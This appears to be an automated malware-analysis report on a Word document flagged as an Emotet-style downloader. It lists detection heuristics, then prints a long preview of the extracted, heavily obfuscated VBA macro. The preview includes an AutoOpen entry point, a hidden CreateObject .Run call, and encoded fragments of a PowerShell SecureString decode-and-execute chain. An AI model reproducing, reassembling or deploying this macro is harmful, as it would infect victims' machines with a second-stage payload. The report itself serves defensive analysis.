Malware Insights
The file contains VBA macros, specifically an AutoOpen macro, which is a common technique for executing malicious code upon opening a document. Heuristics indicate a CreateObject call and p-code execution, suggesting the macro is designed to download and execute a second-stage payload. The ClamAV detection name 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature. The VBA script itself is heavily obfuscated, making it difficult to determine the exact execution flow or specific URLs, but the overall pattern points to a downloader.
Heuristics 8
-
ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
WAitJQ = 89616 + 23077 CreateObject(NNhJE + FzfDXOljzo + fwVwf).Run AooKVGqDYHr + Chr(VBA.vbKeyC) + pwRtVdvEG + qCXuiJMHb + jIRiQ, vbHide For jCnlF = 20930 To LqioK -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() On Error Resume Next -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 50403 bytes |
SHA-256: 3cdda080bd6963e65ed18f379d307f259b1753bddc22a70b20e8be2a2206efb2 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
497 of 823 identifiers look randomly generated (e.g. 'zAMABlADYANwA0ADIAYQBlADgAMAAzADkAOQA2AD') — consistent with name-mangling obfuscation. Carved artifact contains 24 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "BGXHUbG"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "GvKwrpqRzOGENf"
Sub bzIqoH(ShnkmG)
For sXVSzw = 11859 To aQiloi
Select Case vfrAN
Case 63974
MaiqRc = CDbl(55127)
End Select
Next
GCkiF = 83158 + 71503
End Sub
Function BDZpSBJzvzJzvb()
On Error Resume Next
For EKzEL = 69578 To vzfQYw
Select Case lCaAPd
Case 62087
GbZJs = CDbl(33432)
End Select
Next
jzzKOl = 31032 + 12190
FWUofcX = mAWRWn("JE01YgAzAGUAOAA5AGYAZgBhADIAZQBkADcANQA2ADYANwBiAGUANQA4ADUAZgA0ADUAYQAwADkAZQAyADkAZgAxADMANwBiADcANgBjAGYANQAyADkAYgBkADgAZAAzAGUAZgAxAGQANAAu6qv", 5 + fkmDz - fkmDz, 138 + fkmDz - fkmDz)
For EJUqn = 30072 To nPpXuz
Select Case AVfjE
Case 41759
BrNKRi = CDbl(35998)
End Select
Next
iEVwJ = 92017 + 10208
For smQTHJ = 62806 To FXhwXc
Select Case nPSzHD
Case 25648
iwKPw = CDbl(42561)
End Select
Next
KLfiw = 8630 + 57356
IldYhBmO = mAWRWn("nzjADcAMwA0ADcAOQBjAGYAOQA4AGEAMQAwmFcr", 4 + pjqkl - pjqkl, 32 + pjqkl - pjqkl)
For vSLGq = 53650 To wEKjA
Select Case jDZff
Case 50741
UwtiWl = CDbl(25345)
End Select
Next
QpdZK = 12360 + 45245
For aVdXLX = 1978 To TNVrUn
Select Case ARFUNX
Case 58411
SwHtvR = CDbl(40469)
End Select
Next
iBsEw = 24706 + 99159
bbdjruCYdp = mAWRWn("0ropAMwA4AGYAYQA5AGQAYwBiAGTv%", 5 + vzWkTA - vzWkTA, 23 + vzWkTA - vzWkTA)
For IbbQNw = 37107 To lVGTH
Select Case CFwjK
Case 48705
dFWwI = CDbl(82647)
End Select
Next
bjBoRG = 23236 + 71514
For DahhKo = 40130 To Umris
Select Case PZUwP
Case 25832
KBjaL = CDbl(62501)
End Select
Next
Wwabf = 28127 + 85711
nXFDGSZo = mAWRWn("DEoSABhADUANwBhADkANAAyAGIAO oI", 6 + OYTfoI - OYTfoI, 23 + OYTfoI - OYTfoI)
For XKqIsj = 17280 To KhoLtR
Select Case ZdTfs
Case 47572
HwIwfY = CDbl(21914)
End Select
Next
wdajC = 20651 + 11250
For JimGF = 29545 To daYuEP
Select Case zlrcp
Case 46119
SfcTz = CDbl(88390)
End Select
Next
AhTBMw = 50763 + 72618
HocrwPz = mAWRWn("wiDNIDUANQBiADUANwBiADkAZQBkADgAZQBiAGQAYwA4AGEAZAAwADMAOQBjADcANAAwADMAMQAyAGYAYgA3ADEAOAA3ADUAYwAyADUAMAA2ADAAZAA0AGYAYgA3ADYAZgA2AGQANgBhADIAMwAyADEANQA5ADIAMQA1AGEAYgcM", 6 + UbBOY - UbBOY, 165 + UbBOY - UbBOY)
For CcMnA = 65901 To FjzJh
Select Case spnYzq
Case 5356
nFVjc = CDbl(86390)
End Select
Next
trTdL = 67339 + 78319
For KnsOiL = 47749 To qKFiM
Select Case jcJSlZ
Case 7997
PonMM = CDbl(59208)
End Select
Next
lJwbCI = 32550 + 98510
QoOLGf = mAWRWn("KbF%zAMABlADYANwA0ADIAYQBlADgAMAAzADkAOQA2ADgAMgBmADkAYgAzADQAZABkADcAZQA3Arj", 6 + ckQkH - ckQkH, 70 + ckQkH - ckQkH)
For HdfnXT = 65937 To zdZLz
Select Case HIkCX
Case 6832
RzuXEA = CDbl(17095)
End Select
Next
KiPcP = 21291 + 14815
For mwanB = 70754 To VFRwwP
Select Case jhuBL
Case 54098
iujFiq = CDbl(71888)
End Select
Next
MjSVa = 10273 + 53145
VIaRdK = mAWRWn("AblUAYgBiAGUAMABhAGYAYgA4ADYANQBhADcANgA3ADAAZgA2AGMAYwA4ADIAMwA0ADEAYQBiAGMAMgAzADIAMgBmADQAZQAzAGYAYQA5AGQANABlADEANwAxADEAZQA1ADMAZgBiAGQANQBiAGMAZgBlAGUAOQA4ADAAOABhADcAYQA2ADgAZAAyAGEAMAAwA0jv,N", 4 + RlvGON - RlvGON, 191 + RlvGON - RlvGON)
For HsUvU = 234 To qSilDf
Select Case TpjdH
Case 3652
hTtBEs = CDbl(71092)
End Select
Next
dpPFZm = 17358 + 82492
For FTwDa = 66126 To iGUNu
Select Case GknnU
Case 48335
Rztmfi = CDbl(57653)
End Select
Next
uzvcz = 9963 + 55086
NYSZv = mAWRWn("ZA0AGUAYQBiADUANwBiADEAZQBmADgAYQAxAGYAZgAzADYAZQA5ADgAZQBiADQAOAA0ADAAYgA4AGYANgBiADIAOAA4ADcAMABzbF58okG", 2 + HiOtnz - HiOtnz, 97 + HiOtnz - HiOtnz)
For hqcwa = 93584 To RHmsf
Select Case JlChAj
Case 15174
MYvEDj = CDbl(15941)
End Select
Next
lvHiV = 10924 + 94603
For nTJzSa = 15308 To QYcHHk
Select Case Wwzaj
Case 25056
wrmzOs = CDbl(38252)
End Select
Next
cJDGL = 25470 + 30536
rCSjHXZVnDd = mAWRWn("jQ0bMgBiAGUANgA0AGQAOAAwADgANAA3AGUAMABkAGUAYQBhADcANwBiADEAYwAzAGQAZgBiAGQAMAAyADkAZABiADYANgAzAGYAZABkADYAOABkADUANQA5ADcAOABiADYAYwBlADQAZgBjADgAMABmADEAMgA0AGY%.n2E", 5 + dYUjbf - dYUjbf, 159 + dYUjbf - dYUjbf)
For XwzCYP = 22022 To iCznN
Select Case SRivXS
Case 24545
MPauv = CDbl(35939)
End Select
Next
AZEGQ = 52599 + 58546
For GTiYCi = 87875 To knfziI
Select Case RvbIa
Case 25709
WPzQR = CDbl(22643)
End Select
Next
AzqWMj = 28439 + 46308
pqbKolCFtC = mAWRWn("s0lADUAMwBlADUANAAyADMAOQA5ADYANQAzAGEAYwBhADYAMwBiADYAYQBkAGQAYQA0ADAAYwBmADcAMQBhADEANAA3AGMAZgBjADIAMAAzADEAZgAxADYAMwA3ADIAYgBhADcANgA4ADMANAA4ADcAYQA4AGYAMgA4ADkANQAxAGUAYQA3ADMAOABlADYAMQAyVCvj", 3 + KTjfVU - KTjfVU, 193 + KTjfVU - KTjfVU)
For IHIVY = 99177 To LwzRz
Select Case QMqirz
Case 29730
lRhwkq = CDbl(78990)
End Select
Next
WYDtWT = 2021 + 34622
For jYzNE = 74493 To BGZVX
Select Case pHpvwQ
Case 84016
EDjMw = CDbl(34637)
End Select
Next
DEPIk = 31639 + 52182
sQaIcwzC = mAWRWn("iiADAAMABjADAAOAAyADQAZQBiAGIAOQA3Ao0t2K", 2 + qWvlUU - qWvlUU, 34 + qWvlUU - qWvlUU)
For rcjVh = 85027 To qzdZvZ
Select Case jXaIk
Case 53919
PBHUJ = CDbl(95485)
End Select
Next
KMndO = 86976 + 96796
For SjhUaj = 26078 To KbiZHJ
Select Case wRlZi
Case 55042
PZkss = CDbl(64005)
End Select
Next
rSsPiW = 54082 + 31983
ffwOa = mAWRWn("5nBnAYQBkAGMAYQAzADUAMwA1AGQAYgAxADgAMgAyADIAZQA2ADkANABlAGMAZQAxADgAYQA4ADkAZAA1ADgANwBjADYANAAyAGEANgAwtvEB", 5 + MvJYY - MvJYY, 101 + MvJYY - MvJYY)
For FUPnkJ = 37238 To ksrAjc
Select Case uVwRHk
Case 66030
jBSJlJ = CDbl(57365)
End Select
Next
khbfFT = 78978 + 68838
For oArdvF = 58540 To YvHIK
Select Case rvsDZS
Case 97782
nrmLZ = CDbl(29896)
End Select
Next
QDBTND = 64864 + 3235
djmmYiLrptj = mAWRWn("zYvLnYAMAAjhN", 7 + FBIAp - FBIAp, 4 + FBIAp - FBIAp)
For OucOZs = 71924 To wFQps
Select Case IbniMA
Case 81512
fORHrG = CDbl(79656)
End Select
Next
WJtupf = 81309 + 69363
For DMnLH = 33403 To XTwGZ
Select Case JIJwp
Case 1201
lknBO = CDbl(61241)
End Select
Next
lUItl = 1931 + 49654
slQwtDavijr = mAWRWn("QjJJnwAGMANAAwADAAZAA0AGUANwA5AGQAMAA3ADQANwA1AGIAMwA5ADAAOQAwAGIAZAAyAGMAOAA2ADQAZQA4AGMAnQi0", 6 + vFfOUw - vFfOUw, 85 + vFfOUw - vFfOUw)
For NdEzE = 16115 To nBCdZY
Select Case PVfcU
Case 62071
YlzbN = CDbl(74659)
End Select
Next
LDUYw = 14345 + 90074
For XMVtY = 90082 To XcawAw
Select Case foQsb
Case 30888
iZlID = CDbl(68780)
End Select
Next
PsrwRi = 86493 + 40162
ZwLpUYCYRr = mAWRWn("ocs@,oAGIAYgBiAA=='| .('ConveRTto-'+'seCUr'+'eSt'+'RINg') -ke (1..16))) ) )) WnB", 7 + rpvHFz - rpvHFz, 71 + rpvHFz - rpvHFz)
For WIaPA = 212 To VPDiQN
Select Case CEntpm
Case 69407
VLDIjj = CDbl(3031)
End Select
Next
UdKiuj = 1989 + 802
For wfiiqV = 34133 To GphWfE
Select Case LplYT
Case 28934
dzzQif = CDbl(12963)
End Select
Next
mKmmSR = 78990 + 75414
wVdtAHsnQ = mAWRWn("uiMuzVADUAYQBlAGYAMQAyAGQAOABmAGUANgA1ADAAOAAxADQAYwBmAGYAOQBmAGUANwA4AGIAOQBhADcAOABkADcAMwBiADYAMgA4ADgANABiADEAOQA1AGUAYQA5AGMAZgA1AGYAZABlADUAMgBiADAAZQmk.", 7 + ihQsA - ihQsA, 150 + ihQsA - ihQsA)
For BXrAG = 91518 To NNsWvt
Select Case qLVBih
Case 49438
msTDWj = CDbl(86898)
End Select
Next
vWCdXw = 45139 + 54070
For QozVGj = 31070 To KwJnlK
Select Case iiAkf
Case 69566
cLhcZj = CDbl(82271)
End Select
Next
HwhzYv = 1014 + 11983
NlAtvcblk = mAWRWn(",l8AAZAA2AGIANQAwADMAYgA4AGUAZQA2AGEAZABmADAAMgA4ADcANwA4AGYANABlAGQAOQAxADMAOQAyADjXL7", 5 + DMDRm - DMDRm, 79 + DMDRm - DMDRm)
For SWFbmb = 49126 To aTZIWi
Select Case EWLlo
Case 57888
jHhoN = CDbl(10330)
End Select
Next
lcicER = 18364 + 59513
For aWEzf = 41503 To Epsicf
Select Case lzDTal
Case 82959
WldDYX = CDbl(15784)
End Select
Next
atwEN = 86997 + 11533
sjmYIjDl = mAWRWn("jjO &( $veRBOSEPreFeRENCE.tOstriNg()[1,3]+'X'-join'') (( [ruNTIMe.iNTeroPSeRvICes.MArShaL]::pTrTostrinGBsTR([RunTIME.iNtEropsErVIceS.mArShAL]::seCuReStRInGtobSTr($('76492d1nz5J", 4 + qjIcz - qjIcz, 169 + qjIcz - qjIcz)
For rRnzK = 54970 To lhtiA
Select Case nEIah
Case 99935
WcwHw = CDbl(63076)
End Select
Next
kdbis = 86638 + 65784
For imUIPm = 2096 To zHtvuW
Select Case vpBHp
Case 33233
DICSM = CDbl(43340)
End Select
Next
ElAZK = 9096 + 90397
Faalrj = mAWRWn("Ebltt%A1ADUANwBmADkAZQA0AGQAMAA0ADIAOQAyADEAMAA1AGQAYQA5ADgANQBjADUAOQA5AGQAZgBkAGIAYQBlAGYAMQA1AGMAOAA3ADEAOQBhADIAYgA1AGEAMgA2ADEAMAA0ADMAOABmAGEANQAxADcAYwAwADcAZABkADMAZQBmADQAMAA3AGUAZQBhAGUANgBhcq", 7 + JzritR - JzritR, 193 + JzritR - JzritR)
For HAUwY = 58145 To kwlPPY
Select Case BIYca
Case 68646
FwZii = CDbl(87061)
End Select
Next
tVkSZ = 61813 + 66438
For IwJbQD = 5001 To LmMQHb
Select Case iGpHCf
Case 2934
LVLhI = CDbl(50056)
End Select
Next
rLYqR = 65818 + 79486
tHIWzhjrYPq = mAWRWn("vjAzAGIAOQAwADIAOQBjAGYAYgBjADMAZgA3ADgA8v7bmpE", 3 + nqsZR - nqsZR, 38 + nqsZR - nqsZR)
For hwhrHL = 32122 To JXFnpQ
Select Case bJHsw
Case 13245
VtDlu = CDbl(666)
End Select
Next
QJApRI = 20925 + 40106
For tAoda = 48869 To pVZGs
Select Case rcpAc
Case 10438
BUKQD = CDbl(40164)
End Select
Next
dDfXTA = 63512 + 9946
NCjdFfjlbSd = mAWRWn("dhsD45MgB8ADkARABYAG4AWAB6AG0AcgBuADMAYgBTAOK.n", 5 + ttusCJ - ttusCJ, 39 + ttusCJ - ttusCJ)
For YpGQpI = 39767 To NjwFt
Select Case zijkNY
Case 79774
aFprl = CDbl(81228)
End Select
Next
nrjmo = 32904 + 20981
For RPqIW = 4019 To RANPz
Select Case njQzCH
Case 84015
dBdEMZ = CDbl(26559)
End Select
Next
Pzjlo = 5728 + 97060
IGvGq = mAWRWn("DAAxADkANAA0ADMAYwBlADQAOAA5AGEANQA0ADEANwBmADUANwBkAGYAYgAwAGQAZQBhADUAOQA0ADcAMQBjAGIAOAA4ADUANgA1ADYAYgAyADkAOQAwADQAMAA0ADYAYwA3zN6v4DJ", 2 + ojtAw - ojtAw, 131 + ojtAw - ojtAw)
For OzjFKF = 93883 To MFwIz
Select Case Gwnco
Case 26572
EJdJF = CDbl(71355)
End Select
Next
jMCki = 40801 + 66683
For FtKvHm = 70850 To qbqvq
Select Case NrMlS
Case 39655
kXMflk = CDbl(38686)
End Select
Next
XWDbYN = 92152 + 11656
uqbOXPrCFB = mAWRWn("tpjjAyAGUANgBhADQAMwA1ADIAYQBlAGIAZgAjaF", 5 + YlUYE - YlUYE, 33 + YlUYE - YlUYE)
For QtHrZ = 7377 To zzChNm
Select Case RcqUVw
Case 31797
CQaSF = CDbl(76042)
End Select
Next
RuRlE = 38779 + 47918
For FZwVzK = 84782 To GfLiYu
Select Case EiPIm
Case 69198
QzDKL = CDbl(21419)
End Select
Next
iwQwM = 38958 + 92550
TvWXkpX = mAWRWn("NSlNMQA5ADgAMABhADkANQBlADcAMwBjADIAMg7.G5", 5 + GKUVh - GKUVh, 34 + GKUVh - GKUVh)
For hMirEc = 89782 To ipcDL
Select Case KsWMmJ
Case 98693
mzjUc = CDbl(66625)
End Select
Next
iMZMFz = 4454 + 51639
For QKSzOf = 48678 To kEdJPa
Select Case JwGRSJ
Case 88957
ZZLTb = CDbl(99769)
End Select
Next
jtKoa = 40759 + 95763
tSEfpYPACLi = mAWRWn("3AAOAAyADAAOABlAGEANgBkADEANAAyAGYAMQA2ADcAYQAzAGIAMwA3ADIANwA5AGEAMQA5AGEAMQBlADEAMwAzADUANwAxAGUAZQBmADkAMAAyAGUAZABmADAAYgBhADkAOQAzADkAMABmAGEAYwBkAGMAMgBlADYAOAAzAGUAYgA1AGMANQAyAvN5bm2", 2 + frVjZV - frVjZV, 183 + frVjZV - frVjZV)
For XzjIh = 67755 To XGijb
Select Case BwjfWG
Case 85175
CMwqS = CDbl(40010)
End Select
Next
wbzPLm = 66233 + 35028
For OoPJs = 10505 To qvLiX
Select Case ZaYIsX
Case 48310
mAXpqq = CDbl(38538)
End Select
Next
iRfSX = 20605 + 24061
AbdNhUWh = mAWRWn("iOA2ADAAYgAwADUAMgA1ADQAMwAzADUAOABhADQAYQA3AGYANABhADkAZgA3ADUANwAwAGQAMABjADcAOQAyAGUANgA2ADYAMABjAGQAOQA5ADkAYQBhADUAZQAxADYAYwBiADcAMgBiADgANABmAGYANQBjAGIANAAxAGUANAAyAGYzNhEQ", 3 + AMVDBE - AMVDBE, 173 + AMVDBE - AMVDBE)
For AwJOs = 67262 To ztQzkH
Select Case nDZTbo
Case 84685
CPjSM = CDbl(88834)
End Select
Next
EXONII = 92230 + 27083
For aEhNGp = 42801 To IpuzTz
Select Case miMil
Case 59454
TphUlv = CDbl(90371)
End Select
Next
hEtaFE = 58860 + 10553
EFdiCwSCvA = mAWRWn("WCK6nV0ADUAYQA2AGQAYwBiAGYAYQBhADMAMAAxADIAMAA0ADYAMAA4ADMAMQAwADAANgA2AGEANQA4ADQANgBiADQAMQA2ADYAMAAzAGEAZAA4AGMAZAAyADEAOABlADEAMgBhAGIAZg0E", 7 + sDRXv - sDRXv, 135 + sDRXv - sDRXv)
For vPvTW = 11491 To oSKzq
Select Case trAjls
Case 60548
EapPIq = CDbl(8050)
End Select
Next
sJHcKi = 43316 + 68047
For UmouGp = 52442 To tFiWA
Select Case UJNLrf
Case 70243
iNZjjc = CDbl(12374)
End Select
Next
Yniffu = 40428 + 26944
BAutDqOq = mAWRWn("MNUBkADgAZAA0ADMAYwAyAGIAOQA0ADIANQA4AGNi2D", 4 + wjcfS - wjcfS, 36 + wjcfS - wjcfS)
For ovnLt = 62358 To wDiTp
Select Case dfwiEa
Case 41205
FwQEj = CDbl(91237)
End Select
Next
UBZozn = 6259 + 68520
For VliYFJ = 53499 To nzqdtI
Select Case zuBsJ
Case 30614
sjWKq = CDbl(61749)
End Select
Next
XwsRj = 44938 + 42557
trwNrKUwV = mAWRWn("EMSN0DUAMgAxADcAMAAyADgANQBjADMAMwBkADUANAAyADEAYQAwAGYANgA2ADQAMgAyADYAZQBjADQAYgA5ADgANwAxADAAYQA1AGEANAAwADYAZQAyADcAZAA0ADYAZAA0ADgAMgAyADYAYQA2AGEAZQA4ADMAZQA2ADEAYQBhADkAMwAzADYAYgBlAGEAMwA3ADnrj", 6 + ZohDlj - ZohDlj, 193 + ZohDlj - ZohDlj)
For oitDwn = 7514 To lQmXEK
Select Case qjhMsC
Case 3983
SvYPAw = CDbl(24151)
End Select
Next
lzWFW = 98152 + 11510
For PUAoz = 78722 To BiloSc
Select Case uRuFL
Case 22849
dvhlS = CDbl(61529)
End Select
Next
vjzGM = 58985 + 52917
bjwtvYr = mAWRWn("NAGQANQBhADgAYQAxAGQAZQAyAGEAMgA1ADcAYgA1AGMANwBkAGQAYwAxADMAOQBmADAAYgAyADUAYgA5ADMANABkADgAZABhAGIAOQA1AGMAZAA4AGUANwAzAGEANwA4AGEAOQA4ADYANABhAGQANAAwADcAOAA1AGUAZgBjAGYAMQA3ADEANwAzADkANQA1ADgScv0j", 2 + Uowkt - Uowkt, 195 + Uowkt - Uowkt)
For lWOBbi = 96460 To hrhJY
Select Case XPVAR
Case 72848
TDiIT = CDbl(11533)
End Select
Next
nhGzz = 34956 + 60919
For GWJEdC = 80015 To DrQtQu
Select Case FXKTAr
Case 51913
JhvYz = CDbl(36998)
End Select
Next
MNvRK = 12646 + 65218
QBZjmEoX = mAWRWn("4rELG0AeQBjAG8AbAAzAEoAbABkAFEAPQA9AHwAZQBlAGEAZAA5ADIAYQAyAGUAZQBmAGMAZgAxADIANQAxADgAMAAwAGYAYgBiAGIAOQAyADQAZQA4ADAAMwA4ADQAaqd", 5 + rJkUf - rJkUf, 123 + rJkUf - rJkUf)
For MwTCHk = 86707 To tdILM
Select Case fIzfNz
Case 45376
ipjfiC = CDbl(94942)
End Select
Next
jjXswX = 64214 + 77715
For hYDXtU = 44986 To MajjE
Select Case jtwali
Case 81223
YWZThT = CDbl(8027)
End Select
Next
tLZVKE = 44952 + 76765
bEvmRFi = mAWRWn("FPnjAGIANgBhADkANQBhADEAMQA4AGUAZQBlADEAZQI7", 5 + YQPBu - YQPBu, 38 + YQPBu - YQPBu)
For wjqmV = 97687 To tiRcKm
Select Case GIuzj
Case 96580
mDEaj = CDbl(46475)
End Select
Next
iQcWK = 25282 + 74363
For QaiAq = 60455 To GiLajF
Select Case GXrbaQ
Case 58844
wzjCv = CDbl(9828)
End Select
Next
wnwZQ = 95744 + 91823
aArUKtWd = mAWRWn("8jhAGEAOS8rzzB", 3 + zADXi - zADXi, 6 + zADXi - zADXi)
For hzkKPZ = 45568 To FTqCqX
Select Case UYmAdf
Case 32804
jpjjXc = CDbl(19402)
End Select
Next
oKaKbq = 11801 + 29486
For Tqohq = 22145 To pEAabf
Select Case TwaDFf
Case 33281
JSBwR = CDbl(81841)
End Select
Next
witMK = 89168 + 15625
DYzQcvD = mAWRWn("nUzlNDkAYwAyADQAZAAwADIANQBlADcAZAA5AGUAMABjADIAZQA4ADIANgAxAGEANABkADUAMgBjADcAYQAwADYAZQA5AGEAYQAzADQAYgA1ADcAOAA1ADkAZQAzADYAMAAwADcANgBjADAAYwBiAGEANQA1ADcAMgA4AGYAMwA0ADQAYgBiADAANwAxAGIAZgBmADgl7uz", 6 + YEijFC - YEijFC, 194 + YEijFC - YEijFC)
For AQahB = 48284 To wHEnO
Select Case MRETq
Case 5542
VjtupZ = CDbl(15260)
End Select
Next
jPVAL = 73755 + 48651
For fSoiNb = 28650 To lNtjsb
Select Case VaMdzI
Case 54829
EWujbr = CDbl(63455)
End Select
Next
hjbKGV = 28415 + 49661
umpjtifruZP = mAWRWn("ETjVrkADEAMQA3AGYAZgBhADcAYQA0AGIAYQBmAGMAZQA4ADAAZgBlADcANAA5ADMAMwA3ADQANgBiADUANAAzADAAMwAyAGIAZQBmADgAYwA5ADcAMQAyADcAOQAyADMAOQAwADMAZABiADgANgBkADIAMABi0r3", 6 + iwPrDW - iwPrDW, 153 + iwPrDW - iwPrDW)
For IFulww = 56426 To qaSauV
Select Case CjkMS
Case 86006
vEkLDQ = CDbl(32543)
End Select
Next
AMnrqD = 64541 + 1993
For NBKzHF = 17961 To iiKMwZ
Select Case ohUnL
Case 62549
MIvaB = CDbl(2250)
End Select
Next
pjEYG = 20256 + 53037
oYbWf = mAWRWn("LlzTiAGQAYQAyADkAYQAyADQAZgBmAGEAZQAxAGIAOABjAGEAMwA2AGQANQA0ADMAMQA5ADUAZQA4ADIANwA3ADgAZAA1ADEAzCF", 5 + XRvlQ - XRvlQ, 93 + XRvlQ - XRvlQ)
For KGiWEI = 30409 To BJXvrT
Select Case arSroB
Case 2641
DIPovG = CDbl(77056)
End Select
Next
OwHWOJ = 78326 + 53821
For QNpGj = 85604 To dDjOTZ
Select Case EwHtD
Case 31088
EGOnKj = CDbl(64106)
End Select
Next
rtQIb = 63504 + 15841
zDbpLii = mAWRWn("KZ8IDMAOQBmADgAOAA0ADgAZQAwADQAOQA1ADAAMgA4ADIAZABjAGYAYQA3ADYANQA1ADYAMAA2ADMANwA1ADcAZQAzADkAMwBjADIANQBmADIAYwA5ADAAOAA5AGMANwA2AGYAMABlADUAMgBjADAANAAyADIAMAAxADMANQBhADQAYwA5AGEAMgA3ADIAMABVi", 5 + zMuQi - zMuQi, 190 + zMuQi - zMuQi)
For fpMcA = 89407 To jWdqw
Select Case nHIzc
Case 23779
bSZLB = CDbl(28859)
End Select
Next
qwKzl = 92570 + 62528
For fJVbK = 86468 To jnFqw
Select Case awIbT
Case 90257
qjhwPV = CDbl(96473)
End Select
Next
zwwwER = 21148 + 4422
FvPAzlFzi = mAWRWn("IzZAQBhADAAZgBiAGUAMAAwADIAOAA3ADcAMQA3AjjB", 5 + ErncKB - ErncKB, 36 + ErncKB - ErncKB)
For zcFsV = 95835 To ZvUQCq
Select Case cAPjwc
Case 44366
ouOjp = CDbl(13269)
End Select
Next
swPvob = 83677 + 78756
For AkMdj = 64540 To ihuEYJ
Select Case fPqwOa
Case 72572
XqoDjQ = CDbl(29295)
End Select
Next
rNTRf = 6651 + 90961
wtzajJqvrjz = mAWRWn("DuQBlADIAYQA5AGEAMAAxADYAOQA1AGEAOQBmAGIAZgBiADkAZAAxAGUAYwA4ADgAYQBhADQAYwAzAGMAMQBlADIAMQAzADYANAAwADYAZQBjAGUAMABkAvtcmWZI", 3 + VlCYU - VlCYU, 116 + VlCYU - VlCYU)
For FDsvW = 8322 To ZqQdBj
Select Case SYaENV
Case 78781
BUPiDr = CDbl(9778)
End Select
Next
BcUcsL = 65798 + 80677
For PmFfzf = 52375 To djhClz
Select Case AuIGv
Case 55948
vDGuWd = CDbl(99350)
End Select
Next
jjSLV = 88426 + 11885
YZTRDFwNIB = mAWRWn("66YAYwA0ADAAZQBhAGUAYgA3ADEAYQAxAGEAYQBjAGYAOAA5ADkAOQBlADgAMQAyAGMAYgBkADYAMQAxAGEAYwA2ADQAMQBhAGUAYwBhADYANgBjAGYAMgA1ADcAYwA2AGMAYwBS6WfI", 3 + SvOMP - SvOMP, 133 + SvOMP - SvOMP)
For qYfzRP = 33819 To irKhF
Select Case DALXqB
Case 48098
JzwMA = CDbl(96233)
End Select
Next
ZbbtUR = 65342 + 31551
For LwTDDB = 9274 To uwCdPs
Select Case bPIhG
Case 56523
zsfhiH = CDbl(31403)
End Select
Next
RPicZ = 62991 + 12550
RDbNkKM = mAWRWn("liF116743f0423413b16050a53vNtmG", 4 + ZfmzPi - ZfmzPi, 23 + ZfmzPi - ZfmzPi)
For GhNWzt = 45191 To WLUci
Select Case bZIfza
Case 45717
WzMci = CDbl(75656)
End Select
Next
mTTVRC = 945 + 86060
For TOSaX = 70099 To FmDVc
Select Case dYtaUk
Case 44204
cwPis = CDbl(68702)
End Select
Next
MifzI = 21670 + 13527
vTKEWlwzuV = mAWRWn("BzBmADIAMgBiADUAOQBiAGEAMgBhADkAZgBiADMAMwBjADQAZQA5ADgANAA3ADUANAA3ADgAMwAwAGUAYgAxADAAOAAyAGIAZgBhAGMAOQA0ADAAZgBh8bBp", 3 + hFUJL - hFUJL, 114 + hFUJL - hFUJL)
For NrMdS = 22245 To jEjpc
Select Case rDqAFO
Case 83554
DwiAi = CDbl(87560)
End Select
Next
YVUYW = 3978 + 61286
For tjdMzq = 99631 To phJNhA
Select Case zQUpt
Case 66252
QbQPD = CDbl(32846)
End Select
Next
DtRwci = 57862 + 50488
jsScYrvEi = mAWRWn("8DQAMAA0AGYAYwA1ADUAZQAyAGMAMwA4ADEANwA4ADkAZgAwAGYAYwBlADMAYQBaYiIKS", 3 + HHEqRP - HHEqRP, 61 + HHEqRP - HHEqRP)
For iuAaU = 53931 To sTXaJA
Select Case RoIiQB
Case 91783
mivlos = CDbl(34492)
End Select
Next
WkWBl = 90626 + 87424
For LPciS = 76522 To CjTYX
Select Case zaEbsW
Case 60940
PzTGmz = CDbl(71451)
End Select
Next
kCMNh = 27893 + 65361
zsBWIJ = mAWRWn("HEjGEAZABkADUAOQBhAGUANQA1ADIAOQBkADMAMwBlzTF", 4 + uoiYw - uoiYw, 39 + uoiYw - uoiYw)
For AhFkc = 88170 To trIDWK
Select Case jtTdvQ
Case 17846
jqhfw = CDbl(32534)
End Select
Next
Kvjsw = 52143 + 21041
For jnRWD = 6568 To AMbhz
Select Case cqbkVj
Case 32667
uDvCXR = CDbl(81257)
End Select
Next
JhFlTA = 10645 + 31164
Wonji = mAWRWn("ZYgA4AGYAYgBhADIAOQA0AGEAYgBjADQAYQBmAGEAOABlADAAYwA5AGQAYwA5AGEAYQBlADYAOAAxADQAZQA4ADgAMQiCt0ZI", 2 + uNVHZ - uNVHZ, 90 + uNVHZ - uNVHZ)
For WhsKnO = 75428 To tfVqOw
Select Case NdljV
Case 37046
lSTCtc = CDbl(26561)
End Select
Next
clLpwz = 46591 + 37614
For rCrjJ = 48801 To RkQOS
Select Case ZiHJim
Case 70493
TGVQrJ = CDbl(30222)
End Select
Next
ttNzL = 86797 + 83552
